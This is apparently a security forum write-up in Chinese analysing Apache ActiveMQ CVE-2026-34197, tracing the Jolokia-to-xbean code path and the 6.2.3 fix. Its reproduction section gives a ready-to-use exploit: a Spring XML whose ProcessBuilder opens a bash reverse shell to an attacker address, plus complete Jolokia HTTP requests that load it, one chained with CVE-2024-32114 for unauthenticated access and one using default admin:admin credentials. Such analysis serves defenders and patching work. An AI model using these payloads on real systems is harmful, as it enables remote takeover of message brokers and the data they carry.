ActiveMQ CVE-2026-34197 漏洞分析与利用详解
漏洞分析
来学习一下这个据说由 ai 大人发现的存在 13 年之久的漏洞。
来学习一下这个据说由 ai 大人发现的存在 13 年之久的漏洞。 1. 漏洞概述 ------- - 漏洞编号:CVE-2026-34197 - 组件:Apache ActiveMQ Classic / activemq-broker - 漏洞类型:认证后远程代码执行(RCE) - 官方严重性:important - 官方修复版本: - 5.19.4 - 6.2.3 根据 Apache 官方公告,问题根源是 ActiveMQ Web Console 暴露的 Jolokia JMX-HTTP 接口允许对 org.apache.activemq:\* 下的 MBean 执行 exec 操作,而 BrokerView.addNetworkConnector(String) / BrokerView.addConnector(String) 又会继续处理攻击者可控 URI。攻击者只要拥有 Web Console/Jolokia 的有效凭据,即可构造带有 vm://...?...brokerConfig=xbean:... 的 URI,让 Broker 在自身 JVM 中加载攻击者控制的 Spring XML,最终实现代码执行。 2. 影响范围 ------- Apache 官方公告指出以下版本受影响: - org.apache.activemq:activemq-broker < 5.19.4 - org.apache.activemq:activemq-broker 6.0.0 <= version < 6.2.3 - org.apache.activemq:activemq-all < 5.19.4 - org.apache.activemq:activemq-all 6.0.0 <= version < 6.2.3 3. 漏洞原理 ------- ### 3.1 暴露面 Web Console 启动时会明确暴露 Jolokia 入口:  默认 Web Console 用户文件中存在: - admin=admin  Jolokia 访问控制配置虽然默认只允许 read/list/version/search,但又对 org.apache.activemq:\* 单独放开了全部操作: - assembly/src/release/conf/jolokia-access.xml:25-31 - assembly/src/release/conf/jolokia-access.xml:33-44  也就是说,攻击者只要能通过 Web Console 认证,就可以对 ActiveMQ 自己的 MBean 执行 exec。 ### 3.2 危险方法暴露 BrokerView 直接把外部传入的字符串交给 BrokerService 处理,没有任何协议白名单或危险参数校验: - activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java 核心入口有两个: - addConnector(String discoveryAddress) - addNetworkConnector(String discoveryAddress)  本次复现实际利用的是 addNetworkConnector(String)。 ### 3.3 关键 sink:VM transport 的 brokerConfig 在 VM transport 中,如果 URI 参数里存在 brokerConfig,ActiveMQ 会直接把它解析成一个新的 brokerURI: - activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java  随后在创建 VM broker 时,无条件调用: - activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java - BrokerFactory.createBroker(brokerURI);  ### 3.4 xbean: 可以加载远程 Spring XML BrokerFactory 会按 URI scheme 分派到对应工厂;当 scheme 为 xbean 时,会进入 XBeanBrokerFactory:  - activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java  真正加载 XML 的位置: - activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java - new ResourceXmlApplicationContext(resource)  而 resource 的来源允许 URL: - activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java - 文件存在则 FileSystemResource - 是 URL 则 UrlResource - 否则 ClassPathResource  这就意味着,brokerConfig=xbean:<http://attacker/poc.xml> 是可行的。只要远程 XML 中包含恶意 Spring Bean,例如带 init-method="start" 的 ProcessBuilder,Bean 会在 BrokerService 完成配置校验前实例化,命令就会在 broker JVM 内执行。 4. 漏洞复现 ------- ### 4.1 CVE-2024-32114 + CVE-2026-34197 未授权 RCE 6.0.0 - 6.1.1 版本可配合 CVE-2024-32114 实现未授权 RCE 搭建环境,/api/jolokia/version 是可以未授权访问的:  broker.xml 内容如下: ```git <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/xx.xx.xx.xx/8003 0>&1]]></value> </list> </constructor-arg> </bean> <bean id="broker" class="org.apache.activemq.broker.BrokerService"> <property name="brokerName" value="pwned"/> <property name="persistent" value="false"/> <property name="useJmx" value="false"/> <property name="schedulerSupport" value="false"/> </bean> </beans> ``` 请求如下: ```git POST /api/jolokia/ HTTP/1.1 Host: 127.0.0.1:8161 Origin: http://localhost:8161 Content-Type: application/json Connection: close Content-Length: 18 {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://pwned?brokerConfig=xbean:http://xx.xx.xx.xx:8002/broker.xml)"]} ```  服务器收到请求:  成功收到反弹shell:  ### 4.2 默认口令 + CVE-2026-34197 后台 RCE 6.1.1 - 6.2.2 的版本可以看到默认是显示 401 未授权的:  登录之后加一个 Authorization 请求头,利用成功: ```git POST /api/jolokia/ HTTP/1.1 Host: 127.0.0.1:8261 Authorization: Basic YWRtaW46YWRtaW4= Origin: http://localhost:8261 Content-Type: application/json Connection: close Content-Length: 18 {"type":"exec","mbean":"org.apache.activemq:type=Broker,brokerName=localhost","operation":"addNetworkConnector(java.lang.String)","arguments":["static:(vm://pwned?brokerConfig=xbean:http://xx.xx.xx.xx:8002/broker.xml)"]} ```  收到请求与反弹 shell :   5 修复方式 ------ 6.2.3 的补丁不是改 Jolokia,而是在 BrokerView 层直接禁止 vm scheme,并递归检查复合 URI: - activemq-6.2.3-src\\activemq-broker\\src\\main\\java\\org\\apache\\activemq\\broker\\jmx\\BrokerView.java:404-419 - activemq-6.2.3-src\\activemq-broker\\src\\main\\java\\org\\apache\\activemq\\broker\\jmx\\BrokerView.java:606-640 addConnector 和 addNetworkConnector 都新增了一个 validateAllowedUrl 方法:  跟进到最后发现其阻止了 vm :  官方还新增了单元测试验证拦截逻辑: - activemq-6.2.3-src\\activemq-unit-tests\\src\\test\\java\\org\\apache\\activemq\\broker\\jmx\\MBeanTest.java:2063-2099  6. 参考资料 ------- - Apache 官方安全公告:<https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt> - Apache 安全公告总览:<https://activemq.apache.org/security-advisories> - CVE 记录:<https://www.cve.org/CVERecord?id=CVE-2026-34197>
发表于 2026-05-11 09:00:03
阅读 ( 5241 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
问道
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!